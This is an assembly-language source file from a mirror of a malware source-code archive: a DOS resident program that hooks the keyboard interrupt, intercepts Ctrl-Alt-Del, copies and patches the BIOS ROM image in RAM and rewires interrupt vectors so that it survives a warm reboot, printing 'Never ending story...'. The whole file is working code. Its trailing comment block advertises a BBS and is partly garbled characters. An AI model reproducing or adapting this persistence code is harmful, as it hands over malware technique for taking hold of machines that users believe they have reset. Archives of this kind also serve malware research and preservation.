mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
227 lines
5.0 KiB
NASM
227 lines
5.0 KiB
NASM
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; Survive a warm reboot on a XT.
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;
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; Compile under Turbo Assembler 2.5
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; This program works on a generic IBM PC/XT
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.model tiny
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.radix 16
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.code
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org 100
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start:
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jmp init
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handler:
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push ds
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push ax
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xor ax,ax
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mov ds,ax
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mov al,ds:[417]
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and al,0c
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cmp al,0c
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jnz no_ctrl_alt
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in al,[60]
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cmp al,53
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jz now_fuck
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no_ctrl_alt:
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pop ax
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pop ds
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db 0ea
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oldvect dd ?
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now_fuck:
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mov ds:[472],1234
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mov ax,ds:[413]
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mov cx,6
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shl ax,cl
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push ax
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mov es,ax
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mov di,offset handler
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push cs
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pop ds
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mov si,di
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repz cmpsw
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jnz new_move
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mov dl,es:[top_seg]
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pop ax
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jmp short set_segm
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new_move:
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mov al,ah
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cmp al,0a0
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jnc set_top
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mov al,0a0
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set_top:
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xchg ax,dx
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pop ax
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sub ax,1000
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set_segm:
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mov cs:[top_seg],dl
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push ax
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mov es,ax
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mov di,0e000
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mov ax,0f000
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mov ds,ax
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mov si,di
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mov cx,1000
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cld
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rep movsw
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cmp byte ptr [si-10],0ea
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jnz cant_fuck
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cmp [si-0dh],0f000
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jnz cant_fuck
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mov di,[si-0f]
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cmp di,0e000
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jc cant_fuck
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mov al,[di]
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cmp al,0e9
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jnz no_jmp
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add di,[di+1]
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add di,3
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no_jmp:
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push di
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mov cx,800
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call protect_ram
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call replace_ints
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push es
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pop ds
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mov bx,0e000
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mov cx,2000
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xor al,al
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check_lup:
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add al,[bx]
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inc bx
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loop check_lup
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neg al
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mov [di-1],al
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push cs
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pop ds
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mov word ptr ds:[tmp_handler],5ebh
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mov si,offset start
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mov di,si
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mov cx,init-start
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rep movsb
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retf
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cant_fuck:
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db 0ea
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dw 0
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dw 0ffff
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protect_ram:
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jcxz cant_fuck
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mov al,80
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repnz scasb
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jnz protect_ram
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mov ax,[di]
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and al,0f8
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cmp al,0f8
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jnz protect_ram
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cmp ah,dl
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jnz protect_ram
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mov ax,es
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mov es:[di+1],ah
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ret
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top_seg db ?
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replace_ints:
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jcxz cant_fuck
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mov al,0a5
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repnz scasb
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jnz replace_ints
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cmp [di],4747
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jnz replace_ints
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cmp [di+2],0fbe2
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jnz replace_ints
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add di,4
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push cs
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pop ds
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mov [dummy],di
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mov si,offset my_piece
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mov cx,my_top-my_piece
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rep movsb
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exit_prn:
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ret
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my_piece:
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push ax
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mov cx,20
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xor di,di
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re_init:
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scasw
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mov ax,0f000
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stosw
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loop re_init
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mov ax,offset tmp_handler
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xchg ax,es:[di+44-80]
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mov cs:[old_tmp],ax
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mov ax,cs
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xchg ax,es:[di+46-80]
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mov cs:[old_tmp+2],ax
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pop ax
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db 0ea
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dummy dw ?
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dw 0f000
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db 0
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my_top:
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print:
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mov si,offset message
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print_msg:
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lodsb
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cmp al,'$'
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jz exit_prn
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mov ah,0e
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int 10
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jmp print_msg
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tmp_handler:
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jmp $
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go_old:
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db 0ea
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old_tmp dw ?
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dw ?
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push ds
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push si
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push ax
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xor ax,ax
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mov ds,ax
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mov ax,offset handler
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xchg ax,ds:[24]
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mov word ptr cs:[oldvect],ax
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mov ax,cs
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xchg ax,ds:[26]
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mov word ptr cs:[oldvect+2],ax
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push cs
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pop ds
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mov word ptr [tmp_handler],9090
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call print
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pop ax
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pop si
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pop ds
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jmp go_old
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message:
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db 'Never ending story...',0dh,0a,'$'
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init:
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mov ax,3509
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int 21
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mov word ptr [oldvect],bx
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mov word ptr [oldvect+2],es
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mov dx,offset handler
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mov ah,25
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int 21
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call print
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mov dx,offset init
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int 27
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end start
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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